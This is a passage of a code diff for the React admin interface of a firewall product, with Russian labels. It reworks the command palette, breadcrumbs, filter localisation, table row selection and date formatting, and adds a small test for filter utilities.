items={navItemsForSection(section.id)}
|
||||
pathname={pathname}
|
||||
can={can}
|
||||
/>
|
||||
))}
|
||||
</SidebarContent>
|
||||
<SidebarFooter>
|
||||
<NavUser />
|
||||
</SidebarFooter> </Sidebar>
|
||||
</SidebarFooter>
|
||||
</Sidebar>
|
||||
)
|
||||
}
|
||||
@@ -18,6 +18,8 @@ interface ConfirmDialogProps {
|
||||
title: string
|
||||
description: string
|
||||
confirmLabel?: string
|
||||
/** 'default' для позитивных действий (утвердить), 'destructive' — для опасных. */
|
||||
confirmVariant?: 'default' | 'destructive'
|
||||
cancelLabel?: string
|
||||
onConfirm: () => void
|
||||
disabled?: boolean
|
||||
@@ -30,6 +32,7 @@ export function ConfirmDialog({
|
||||
title,
|
||||
description,
|
||||
confirmLabel = 'Удалить',
|
||||
confirmVariant = 'destructive',
|
||||
cancelLabel = 'Отмена',
|
||||
onConfirm,
|
||||
disabled,
|
||||
@@ -46,7 +49,7 @@ export function ConfirmDialog({
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
<AlertDialogCancel>{cancelLabel}</AlertDialogCancel>
|
||||
<AlertDialogAction variant="destructive" onClick={onConfirm}>
|
||||
<AlertDialogAction variant={confirmVariant} onClick={onConfirm}>
|
||||
{confirmLabel}
|
||||
</AlertDialogAction>
|
||||
</AlertDialogFooter>
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
import type { ReactNode } from 'react'
|
||||
import {
|
||||
Field,
|
||||
FieldDescription,
|
||||
FieldError,
|
||||
FieldLabel,
|
||||
} from '@evofw/ui/components/field'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
|
||||
interface FormFieldSimpleProps {
|
||||
label: string
|
||||
htmlFor: string
|
||||
error?: { message?: string }
|
||||
hint?: string
|
||||
className?: string
|
||||
children: ReactNode
|
||||
}
|
||||
|
||||
export function FormFieldSimple({
|
||||
label,
|
||||
htmlFor,
|
||||
error,
|
||||
hint,
|
||||
className,
|
||||
children,
|
||||
}: FormFieldSimpleProps) {
|
||||
return (
|
||||
<Field data-invalid={!!error} className={cn(className)}>
|
||||
<FieldLabel htmlFor={htmlFor}>{label}</FieldLabel>
|
||||
{children}
|
||||
{hint && !error ? <FieldDescription>{hint}</FieldDescription> : null}
|
||||
<FieldError errors={[error]} />
|
||||
</Field>
|
||||
)
|
||||
}
|
||||
@@ -1,82 +1,55 @@
|
||||
import { useEffect, useId, useMemo, useState } from 'react'
|
||||
import { Link, useNavigate } from '@tanstack/react-router'
|
||||
import { useEffect, useState } from 'react'
|
||||
import { useNavigate } from '@tanstack/react-router'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import {
|
||||
BarChart3Icon,
|
||||
LayoutDashboardIcon,
|
||||
ListIcon,
|
||||
SearchIcon,
|
||||
ListPlusIcon,
|
||||
PlusIcon,
|
||||
ServerIcon,
|
||||
SettingsIcon,
|
||||
ShieldIcon,
|
||||
ShieldPlusIcon,
|
||||
} from 'lucide-react'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { NAV_ITEMS } from '@/lib/nav'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
} from '@evofw/ui/components/dialog'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
agentsQueryOptions,
|
||||
listsQueryOptions,
|
||||
policySetsQueryOptions,
|
||||
} from '@/queries'
|
||||
import {
|
||||
Item,
|
||||
ItemContent,
|
||||
ItemGroup,
|
||||
ItemMedia,
|
||||
ItemTitle,
|
||||
} from '@evofw/ui/components/item'
|
||||
CommandDialog,
|
||||
CommandEmpty,
|
||||
CommandGroup,
|
||||
CommandInput,
|
||||
CommandItem,
|
||||
CommandList,
|
||||
CommandSeparator,
|
||||
} from '@evofw/ui/components/command'
|
||||
|
||||
const NAV_ITEMS = [
|
||||
{
|
||||
to: '/',
|
||||
label: 'Панель управления',
|
||||
keywords: ['dashboard', 'панель', 'обзор'],
|
||||
icon: LayoutDashboardIcon,
|
||||
},
|
||||
{
|
||||
to: '/agents',
|
||||
label: 'Агенты',
|
||||
keywords: ['agents', 'агенты', 'nodes'],
|
||||
icon: ServerIcon,
|
||||
},
|
||||
{
|
||||
to: '/lists',
|
||||
label: 'Списки IP',
|
||||
keywords: ['lists', 'списки', 'blocklist'],
|
||||
icon: ListIcon,
|
||||
},
|
||||
{
|
||||
to: '/rules',
|
||||
label: 'Наборы правил',
|
||||
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
|
||||
icon: ShieldIcon,
|
||||
},
|
||||
{
|
||||
to: '/stats',
|
||||
label: 'Статистика',
|
||||
keywords: ['stats', 'статистика', 'packets'],
|
||||
icon: BarChart3Icon,
|
||||
},
|
||||
{
|
||||
to: '/settings',
|
||||
label: 'Настройки',
|
||||
keywords: ['settings', 'настройки'],
|
||||
icon: SettingsIcon,
|
||||
},
|
||||
] as const
|
||||
/**
|
||||
* Command-K palette — навигация, поиск ресурсов и действия.
|
||||
* DNA: https://reui.io/components/command/c-command-7 (hotkey-only по контракту).
|
||||
*/
|
||||
|
||||
/** Command-K search — hotkey dialog (no header chrome trigger). */
|
||||
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
||||
void hotkeyOnly
|
||||
return <SearchMenuDialog />
|
||||
}
|
||||
|
||||
function SearchMenuDialog() {
|
||||
const [open, setOpen] = useState(false)
|
||||
const [query, setQuery] = useState('')
|
||||
const searchInputId = useId()
|
||||
const navigate = useNavigate()
|
||||
const can = useCan()
|
||||
|
||||
const agentsQ = useQuery({ ...agentsQueryOptions(), enabled: open })
|
||||
const listsQ = useQuery({ ...listsQueryOptions(), enabled: open })
|
||||
const setsQ = useQuery({ ...policySetsQueryOptions(), enabled: open })
|
||||
|
||||
useEffect(() => {
|
||||
function onKeyDown(event: KeyboardEvent) {
|
||||
if (event.key.toLowerCase() === 'k' && (event.metaKey || event.ctrlKey)) {
|
||||
event.preventDefault()
|
||||
setOpen(true)
|
||||
setOpen((prev) => !prev)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -84,99 +57,164 @@ export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
||||
return () => window.removeEventListener('keydown', onKeyDown)
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (!open) setQuery('')
|
||||
}, [open])
|
||||
|
||||
const filtered = useMemo(() => {
|
||||
const q = query.trim().toLowerCase()
|
||||
if (!q) return NAV_ITEMS
|
||||
return NAV_ITEMS.filter(
|
||||
(item) =>
|
||||
item.label.toLowerCase().includes(q) ||
|
||||
item.keywords.some((k) => k.includes(q)),
|
||||
)
|
||||
}, [query])
|
||||
|
||||
function goTo(to: string) {
|
||||
const go = (run: () => void) => {
|
||||
setOpen(false)
|
||||
void navigate({ to })
|
||||
run()
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
{hotkeyOnly ? null : (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
aria-label="Поиск"
|
||||
aria-haspopup="dialog"
|
||||
aria-expanded={open}
|
||||
onClick={() => setOpen(true)}
|
||||
>
|
||||
<SearchIcon
|
||||
className="size-4.5 transition-colors"
|
||||
aria-hidden="true"
|
||||
/>
|
||||
</Button>
|
||||
)}
|
||||
const navItems = NAV_ITEMS.filter(
|
||||
(item) => !item.permission || can(item.permission),
|
||||
)
|
||||
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogHeader className="sr-only">
|
||||
<DialogTitle>Поиск</DialogTitle>
|
||||
<DialogDescription>
|
||||
Переход к разделам приложения
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<DialogContent className="max-w-md gap-0 overflow-hidden p-0 **:data-[slot=dialog-close]:top-3 **:data-[slot=dialog-close]:right-3 **:data-[slot=dialog-close]:opacity-60">
|
||||
<div className="relative flex items-center gap-3 border-b px-4 py-2">
|
||||
<SearchIcon
|
||||
aria-hidden="true"
|
||||
className="pointer-events-none size-4 opacity-60 select-none"
|
||||
/>
|
||||
<Input
|
||||
id={searchInputId}
|
||||
className="h-10 border-none p-0 shadow-none outline-none focus-visible:ring-0"
|
||||
autoFocus
|
||||
placeholder="Перейти к разделу…"
|
||||
aria-label="Поиск разделов"
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Enter' && filtered[0]) {
|
||||
e.preventDefault()
|
||||
goTo(filtered[0].to)
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
<ItemGroup className="max-h-72 overflow-y-auto p-2">
|
||||
{filtered.length === 0 ? (
|
||||
<p className="text-muted-foreground px-2 py-4 text-center text-sm">
|
||||
Ничего не найдено
|
||||
</p>
|
||||
) : (
|
||||
filtered.map((item) => (
|
||||
<Item
|
||||
key={item.to}
|
||||
size="sm"
|
||||
variant="muted"
|
||||
className="cursor-pointer border-0"
|
||||
render={<Link to={item.to} onClick={() => setOpen(false)} />}
|
||||
const agents = (agentsQ.data?.items ?? []).slice(0, 50)
|
||||
const lists = (listsQ.data?.items ?? []).slice(0, 50)
|
||||
const sets = (setsQ.data?.items ?? []).slice(0, 50)
|
||||
|
||||
return (
|
||||
<CommandDialog
|
||||
open={open}
|
||||
onOpenChange={setOpen}
|
||||
title="Палитра команд"
|
||||
description="Поиск разделов, агентов, списков и действий"
|
||||
className="max-w-xl"
|
||||
>
|
||||
<CommandInput placeholder="Поиск разделов, агентов, списков…" />
|
||||
<CommandList>
|
||||
<CommandEmpty>Ничего не найдено.</CommandEmpty>
|
||||
|
||||
<CommandGroup heading="Действия">
|
||||
{can('fw:agents:write') ? (
|
||||
<CommandItem
|
||||
value="Добавить агента agent invite"
|
||||
onSelect={() =>
|
||||
go(() =>
|
||||
void navigate({
|
||||
to: '/agents',
|
||||
search: { view: 'cards', add: true },
|
||||
}),
|
||||
)
|
||||
}
|
||||
>
|
||||
<PlusIcon aria-hidden />
|
||||
Добавить агента
|
||||
</CommandItem>
|
||||
) : null}
|
||||
{can('fw:lists:write') ? (
|
||||
<CommandItem
|
||||
value="Создать список blocklist"
|
||||
onSelect={() =>
|
||||
go(() =>
|
||||
void navigate({ to: '/lists', search: { create: true } }),
|
||||
)
|
||||
}
|
||||
>
|
||||
<ListPlusIcon aria-hidden />
|
||||
Создать список
|
||||
</CommandItem>
|
||||
) : null}
|
||||
{can('fw:policies:write') ? (
|
||||
<CommandItem
|
||||
value="Создать набор правил policy"
|
||||
onSelect={() =>
|
||||
go(() =>
|
||||
void navigate({ to: '/rules', search: { create: true } }),
|
||||
)
|
||||
}
|
||||
>
|
||||
<ShieldPlusIcon aria-hidden />
|
||||
Создать набор правил
|
||||
</CommandItem>
|
||||
) : null}
|
||||
</CommandGroup>
|
||||
|
||||
<CommandSeparator />
|
||||
|
||||
<CommandGroup heading="Навигация">
|
||||
{navItems.map((item) => (
|
||||
<CommandItem
|
||||
key={item.to}
|
||||
value={`${item.label} ${item.keywords.join(' ')}`}
|
||||
onSelect={() => go(() => void navigate({ to: item.to }))}
|
||||
>
|
||||
<item.icon aria-hidden />
|
||||
{item.label}
|
||||
</CommandItem>
|
||||
))}
|
||||
</CommandGroup>
|
||||
|
||||
{agents.length > 0 ? (
|
||||
<>
|
||||
<CommandSeparator />
|
||||
<CommandGroup heading="Агенты">
|
||||
{agents.map((a) => (
|
||||
<CommandItem
|
||||
key={a.id}
|
||||
value={`${a.name} ${a.hostname ?? ''} ${a.last_seen_ip ?? ''}`}
|
||||
onSelect={() =>
|
||||
go(() =>
|
||||
void navigate({
|
||||
to: '/agents',
|
||||
search: { view: 'cards', agent: a.id },
|
||||
}),
|
||||
)
|
||||
}
|
||||
>
|
||||
<ItemMedia variant="icon">
|
||||
<item.icon aria-hidden="true" />
|
||||
</ItemMedia>
|
||||
<ItemContent>
|
||||
<ItemTitle>{item.label}</ItemTitle>
|
||||
</ItemContent>
|
||||
</Item>
|
||||
))
|
||||
)}
|
||||
</ItemGroup>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
</>
|
||||
<ServerIcon aria-hidden />
|
||||
<span className="truncate">{a.name}</span>
|
||||
<span className="text-muted-foreground truncate text-xs">
|
||||
{a.hostname ?? a.status}
|
||||
</span>
|
||||
</CommandItem>
|
||||
))}
|
||||
</CommandGroup>
|
||||
</>
|
||||
) : null}
|
||||
|
||||
{lists.length > 0 ? (
|
||||
<>
|
||||
<CommandSeparator />
|
||||
<CommandGroup heading="Списки">
|
||||
{lists.map((l) => (
|
||||
<CommandItem
|
||||
key={l.id}
|
||||
value={l.name}
|
||||
onSelect={() =>
|
||||
go(() => void navigate({ to: '/lists/$id', params: { id: l.id } }))
|
||||
}
|
||||
>
|
||||
<ListIcon aria-hidden />
|
||||
<span className="truncate">{l.name}</span>
|
||||
</CommandItem>
|
||||
))}
|
||||
</CommandGroup>
|
||||
</>
|
||||
) : null}
|
||||
|
||||
{sets.length > 0 ? (
|
||||
<>
|
||||
<CommandSeparator />
|
||||
<CommandGroup heading="Наборы правил">
|
||||
{sets.map((s) => (
|
||||
<CommandItem
|
||||
key={s.id}
|
||||
value={s.name}
|
||||
onSelect={() =>
|
||||
go(() =>
|
||||
void navigate({
|
||||
to: '/rules/$setId',
|
||||
params: { setId: s.id },
|
||||
}),
|
||||
)
|
||||
}
|
||||
>
|
||||
<ShieldIcon aria-hidden />
|
||||
<span className="truncate">{s.name}</span>
|
||||
</CommandItem>
|
||||
))}
|
||||
</CommandGroup>
|
||||
</>
|
||||
) : null}
|
||||
</CommandList>
|
||||
</CommandDialog>
|
||||
)
|
||||
}
|
||||
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
|
||||
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
|
||||
import { AppsMenu } from '@/components/layout/apps-menu'
|
||||
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
|
||||
import { navLabel, navParentForDetail } from '@/lib/nav'
|
||||
|
||||
export interface RouteBreadcrumbLoaderData {
|
||||
breadcrumb?: string
|
||||
}
|
||||
|
||||
const routeTitles: Record<string, string> = {
|
||||
'/': 'Панель управления',
|
||||
'/agents': 'Агенты',
|
||||
'/lists': 'Списки',
|
||||
'/rules': 'Наборы правил',
|
||||
'/stats': 'Статистика',
|
||||
'/settings': 'Настройки',
|
||||
}
|
||||
|
||||
function getBreadcrumbs(
|
||||
pathname: string,
|
||||
dynamicLabels: Record<string, string>,
|
||||
) {
|
||||
if (pathname === '/') {
|
||||
return [{ label: 'Панель управления', href: '/' }]
|
||||
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/agents\/[^/]+$/)) {
|
||||
const parentTo = navParentForDetail(pathname)
|
||||
if (parentTo) {
|
||||
const parentLabel = navLabel(parentTo)
|
||||
const fallback =
|
||||
parentTo === '/agents'
|
||||
? 'Агент'
|
||||
: parentTo === '/lists'
|
||||
? 'Список'
|
||||
: 'Набор'
|
||||
return [
|
||||
{ label: 'Агенты', href: '/agents' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname },
|
||||
{ label: parentLabel ?? parentTo, href: parentTo },
|
||||
{ label: dynamicLabels[pathname] ?? fallback, href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/rules\/[^/]+$/)) {
|
||||
return [
|
||||
{ label: 'Наборы правил', href: '/rules' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/lists\/[^/]+$/)) {
|
||||
return [
|
||||
{ label: 'Списки', href: '/lists' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
const title = routeTitles[pathname]
|
||||
const title = navLabel(pathname)
|
||||
if (title) {
|
||||
return [{ label: title, href: pathname }]
|
||||
}
|
||||
|
||||
return [{ label: 'Панель управления', href: '/' }]
|
||||
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||
}
|
||||
|
||||
function useDynamicBreadcrumbLabels() {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { useMemo, type CSSProperties, type ReactNode } from 'react'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
|
||||
import { formatTime } from '@/lib/format'
|
||||
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
|
||||
Монитор EvoFirewall
|
||||
</span>
|
||||
<span className="text-muted-foreground text-[11px] tabular-nums">
|
||||
{new Date().toLocaleTimeString('ru-RU')}
|
||||
{formatTime(new Date())}
|
||||
</span>
|
||||
</div>
|
||||
<div className="grid grid-cols-2">
|
||||
|
||||
@@ -10,6 +10,7 @@ import { StatusBadge } from '@/components/status-badge'
|
||||
import { ListTypeIcon } from '@/components/lists/list-type-icon'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { isManualListType, type IpList } from '@evofw/shared'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
export const LIST_TABS = [
|
||||
{ id: 'all', label: 'Все' },
|
||||
@@ -67,7 +68,7 @@ export function createListColumns(opts: {
|
||||
row.original.last_error
|
||||
? 'Ошибка обновления'
|
||||
: row.original.refreshed_at
|
||||
? `Обновлён ${new Date(row.original.refreshed_at).toLocaleString('ru-RU')}`
|
||||
? `Обновлён ${formatDateTime(row.original.refreshed_at)}`
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
@@ -102,7 +103,7 @@ export function createListColumns(opts: {
|
||||
cell: ({ row }) => (
|
||||
<DataGridMutedCell>
|
||||
{row.original.updated_at
|
||||
? new Date(row.original.updated_at).toLocaleString('ru-RU')
|
||||
? formatDateTime(row.original.updated_at)
|
||||
: '—'}
|
||||
</DataGridMutedCell>
|
||||
),
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import {
|
||||
getActiveFilters,
|
||||
applyFiltersToData,
|
||||
} from '@/components/reui-kit/filter-utils'
|
||||
|
||||
type Row = { name: string; status: string }
|
||||
|
||||
const rows: Row[] = [
|
||||
{ name: 'web-01', status: 'approved' },
|
||||
{ name: 'db-01', status: 'pending' },
|
||||
{ name: 'mt-01', status: 'revoked' },
|
||||
]
|
||||
|
||||
const field = (item: Row, f: string) =>
|
||||
f === 'name' ? item.name : f === 'status' ? item.status : undefined
|
||||
|
||||
describe('filter-utils', () => {
|
||||
it('getActiveFilters drops empty filters', () => {
|
||||
const active = getActiveFilters([
|
||||
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||
{ id: '2', field: 'name', operator: 'contains', values: [''] },
|
||||
{ id: '3', field: 'x', operator: 'is', values: [] },
|
||||
{ id: '4', field: 'x', operator: 'is', values: [null, undefined] },
|
||||
])
|
||||
expect(active.map((f) => f.id)).toEqual(['1'])
|
||||
})
|
||||
|
||||
it('applies is / is_not / is_any_of operators', () => {
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[{ id: '1', field: 'status', operator: 'is', values: ['pending'] }],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[1]])
|
||||
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{
|
||||
id: '1',
|
||||
field: 'status',
|
||||
operator: 'is_any_of',
|
||||
values: ['pending', 'revoked'],
|
||||
},
|
||||
],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[1], rows[2]])
|
||||
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{
|
||||
id: '1',
|
||||
field: 'status',
|
||||
operator: 'is_not',
|
||||
values: ['revoked'],
|
||||
},
|
||||
],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[0], rows[1]])
|
||||
})
|
||||
|
||||
it('combines multiple filters with AND', () => {
|
||||
const out = applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||
{ id: '2', field: 'name', operator: 'contains', values: ['web'] },
|
||||
],
|
||||
field,
|
||||
)
|
||||
expect(out).toEqual([rows[0]])
|
||||
})
|
||||
})
|
||||
@@ -22,7 +22,6 @@ export {
|
||||
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
|
||||
export { OpsDashboard } from './ops-dashboard'
|
||||
export { DetailPanel, type DetailMetricCard } from './detail-panel'
|
||||
export { SettingsShell, type SettingsTabConfig } from './settings-shell'
|
||||
|
||||
export { PageShell } from '@/components/page-shell'
|
||||
export { PageHeader } from '@/components/page-header'
|
||||
|
||||
@@ -22,6 +22,7 @@ import {
|
||||
Filters,
|
||||
type Filter,
|
||||
type FilterFieldConfig,
|
||||
type FilterI18nConfig,
|
||||
} from '@/components/reui/filters'
|
||||
import {
|
||||
Frame,
|
||||
@@ -51,6 +52,26 @@ type DataGridTableLayout = NonNullable<
|
||||
ComponentProps<typeof DataGrid>['tableLayout']
|
||||
>
|
||||
|
||||
/** Русская локаль фильтров (DNA data-grid-filtering-2, i18n по контракту). */
|
||||
const FILTERS_I18N: Partial<FilterI18nConfig> = {
|
||||
addFilter: 'Фильтр',
|
||||
searchFields: 'Фильтр…',
|
||||
noFieldsFound: 'Фильтры не найдены.',
|
||||
noResultsFound: 'Ничего не найдено.',
|
||||
select: 'Выберите…',
|
||||
true: 'Да',
|
||||
false: 'Нет',
|
||||
min: 'От',
|
||||
max: 'До',
|
||||
to: '—',
|
||||
typeAndPressEnter: 'Введите и нажмите Enter',
|
||||
selected: 'выбрано',
|
||||
selectedCount: 'выбрано',
|
||||
addFilterTitle: 'Добавить фильтр',
|
||||
loadingOptions: 'Загрузка…',
|
||||
errorLoadingOptions: 'Не удалось загрузить варианты.',
|
||||
}
|
||||
|
||||
export interface ResourcePageTab {
|
||||
id: string
|
||||
label: string
|
||||
@@ -78,8 +99,13 @@ export interface ResourcePageProps<T extends object> {
|
||||
onRetry?: () => void
|
||||
primaryAction?: ReactNode
|
||||
emptyState?: { title: string; description?: string; action?: ReactNode }
|
||||
/** Текст для пустого результата после фильтров/поиска (по вкладкам). */
|
||||
filteredEmptyMessage?: string
|
||||
pageSize?: number
|
||||
enableRowSelection?: boolean
|
||||
/** Controlled selection — page owns state, so bulk-действия видят выбор. */
|
||||
rowSelection?: RowSelectionState
|
||||
onRowSelectionChange?: (rowSelection: RowSelectionState) => void
|
||||
selectionToolbar?: (ctx: {
|
||||
selectedIds: string[]
|
||||
selectedCount: number
|
||||
@@ -139,8 +165,11 @@ export function ResourcePage<T extends object>({
|
||||
onRetry,
|
||||
primaryAction,
|
||||
emptyState,
|
||||
filteredEmptyMessage,
|
||||
pageSize = 10,
|
||||
enableRowSelection = false,
|
||||
rowSelection: rowSelectionProp,
|
||||
onRowSelectionChange: onRowSelectionChangeProp,
|
||||
selectionToolbar,
|
||||
toolbarExtra,
|
||||
hideHeader = false,
|
||||
@@ -156,7 +185,30 @@ export function ResourcePage<T extends object>({
|
||||
const activeTab = controlledTab ?? internalTab
|
||||
|
||||
const [sorting, setSorting] = useState<SortingState>([])
|
||||
const [rowSelection, setRowSelection] = useState<RowSelectionState>({})
|
||||
const isSelectionControlled = rowSelectionProp !== undefined
|
||||
const [internalRowSelection, setInternalRowSelection] =
|
||||
useState<RowSelectionState>({})
|
||||
const rowSelection = isSelectionControlled
|
||||
? rowSelectionProp
|
||||
: internalRowSelection
|
||||
const handleRowSelectionChange = useCallback(
|
||||
(
|
||||
updater: RowSelectionState | ((prev: RowSelectionState) => RowSelectionState),
|
||||
) => {
|
||||
const current = isSelectionControlled
|
||||
? rowSelectionProp
|
||||
: internalRowSelection
|
||||
const next = typeof updater === 'function' ? updater(current) : updater
|
||||
if (isSelectionControlled) onRowSelectionChangeProp?.(next)
|
||||
else setInternalRowSelection(next)
|
||||
},
|
||||
[
|
||||
isSelectionControlled,
|
||||
rowSelectionProp,
|
||||
internalRowSelection,
|
||||
onRowSelectionChangeProp,
|
||||
],
|
||||
)
|
||||
const [columnPinning, setColumnPinning] = useState<ColumnPinningState>(
|
||||
() => columnPinningProp ?? {},
|
||||
)
|
||||
@@ -224,8 +276,8 @@ export function ResourcePage<T extends object>({
|
||||
const selectedCount = selectedIds.length
|
||||
|
||||
const clearSelection = useCallback(() => {
|
||||
setRowSelection({})
|
||||
}, [])
|
||||
handleRowSelectionChange({})
|
||||
}, [handleRowSelectionChange])
|
||||
|
||||
const tableLayout = useMemo(
|
||||
() => ({
|
||||
@@ -253,7 +305,7 @@ export function ResourcePage<T extends object>({
|
||||
// без drag-handles — enableColumnResizing остаётся false.
|
||||
enableColumnResizing: false,
|
||||
onSortingChange: setSorting,
|
||||
onRowSelectionChange: setRowSelection,
|
||||
onRowSelectionChange: handleRowSelectionChange,
|
||||
onPaginationChange: setPagination,
|
||||
onColumnPinningChange: setColumnPinning,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
@@ -357,7 +409,8 @@ export function ResourcePage<T extends object>({
|
||||
)
|
||||
}
|
||||
|
||||
const emptyMessage = 'Нет записей по выбранным фильтрам.'
|
||||
const emptyMessage =
|
||||
filteredEmptyMessage ?? 'Нет записей по выбранным фильтрам.'
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
@@ -431,6 +484,7 @@ export function ResourcePage<T extends object>({
|
||||
fields={filterFields}
|
||||
onChange={handleFiltersChange}
|
||||
size="default"
|
||||
i18n={FILTERS_I18N}
|
||||
trigger={
|
||||
<Button type="button" variant="outline" aria-label="Фильтры">
|
||||
<FilterIcon className="size-4" aria-hidden="true" />
|
||||
@@ -480,9 +534,9 @@ export function ResourcePage<T extends object>({
|
||||
<DataGridPagination
|
||||
sizes={[5, 10, 20, 50]}
|
||||
rowsPerPageLabel="Строк на странице"
|
||||
info="{from} - {to} of {count}"
|
||||
previousPageLabel="Предыдущая"
|
||||
nextPageLabel="Следующая"
|
||||
info="{from}–{to} из {count}"
|
||||
previousPageLabel="Назад"
|
||||
nextPageLabel="Вперёд"
|
||||
/>
|
||||
</FrameFooter>
|
||||
</FramePanel>
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
import type { ReactNode } from 'react'
|
||||
import { Link, Outlet, useRouterState } from '@tanstack/react-router'
|
||||
|
||||
import { useIsMobile } from '@evofw/ui/hooks/use-mobile'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
import { PageShell } from '@/components/page-shell'
|
||||
import { PageHeader } from '@/components/page-header'
|
||||
|
||||
/**
|
||||
* Multi-section settings layout — only when tabs are provided.
|
||||
* Single-page settings use PageShell + Frame + SettingRow directly.
|
||||
* Preview: https://reui.io/preview/base/settings-16
|
||||
*/
|
||||
|
||||
export interface SettingsTabConfig {
|
||||
id: string
|
||||
to: string
|
||||
label: string
|
||||
icon?: ReactNode
|
||||
}
|
||||
|
||||
interface SettingsShellProps {
|
||||
title?: string
|
||||
description?: string
|
||||
/** Required — no phantom default routes. */
|
||||
tabs: SettingsTabConfig[]
|
||||
}
|
||||
|
||||
export function SettingsShell({
|
||||
title = 'Настройки',
|
||||
description = 'Конфигурация control plane',
|
||||
tabs,
|
||||
}: SettingsShellProps) {
|
||||
const isMobile = useIsMobile()
|
||||
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
<div className="mx-auto flex w-full max-w-4xl flex-col gap-5">
|
||||
<PageHeader title={title} description={description} />
|
||||
|
||||
<div
|
||||
className={cn(
|
||||
'flex gap-5',
|
||||
isMobile ? 'flex-col' : 'flex-row items-start',
|
||||
)}
|
||||
>
|
||||
{tabs.length > 1 ? (
|
||||
<nav
|
||||
aria-label="Разделы настроек"
|
||||
className={cn(
|
||||
'flex gap-1',
|
||||
isMobile
|
||||
? 'scrollbar-none -mx-1 overflow-x-auto overflow-y-hidden pb-1'
|
||||
: 'w-44 shrink-0 flex-col',
|
||||
)}
|
||||
>
|
||||
{tabs.map((tab) => {
|
||||
const isActive = pathname.startsWith(tab.to)
|
||||
return (
|
||||
<Link
|
||||
key={tab.id}
|
||||
to={tab.to}
|
||||
aria-current={isActive ? 'page' : undefined}
|
||||
className={cn(
|
||||
'flex items-center gap-2 rounded-lg px-3 py-2 text-sm transition-colors',
|
||||
isMobile && 'shrink-0',
|
||||
!isMobile && 'w-full',
|
||||
isActive
|
||||
? 'bg-muted text-foreground font-medium shadow-sm ring-1 ring-border/60'
|
||||
: 'text-muted-foreground hover:bg-muted/60 hover:text-foreground',
|
||||
)}
|
||||
>
|
||||
{tab.icon}
|
||||
{tab.label}
|
||||
</Link>
|
||||
)
|
||||
})}
|
||||
</nav>
|
||||
) : null}
|
||||
|
||||
<div className="min-w-0 flex-1">
|
||||
<Outlet />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
"use no memo"
|
||||
|
||||
import { ReactElement } from "react"
|
||||
import { getColumnHeaderLabel } from "@/components/reui/data-grid/data-grid"
|
||||
import { Table } from "@tanstack/react-table"
|
||||
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuCheckboxItem,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuGroup,
|
||||
DropdownMenuLabel,
|
||||
DropdownMenuTrigger,
|
||||
} from "@evofw/ui/components/dropdown-menu"
|
||||
|
||||
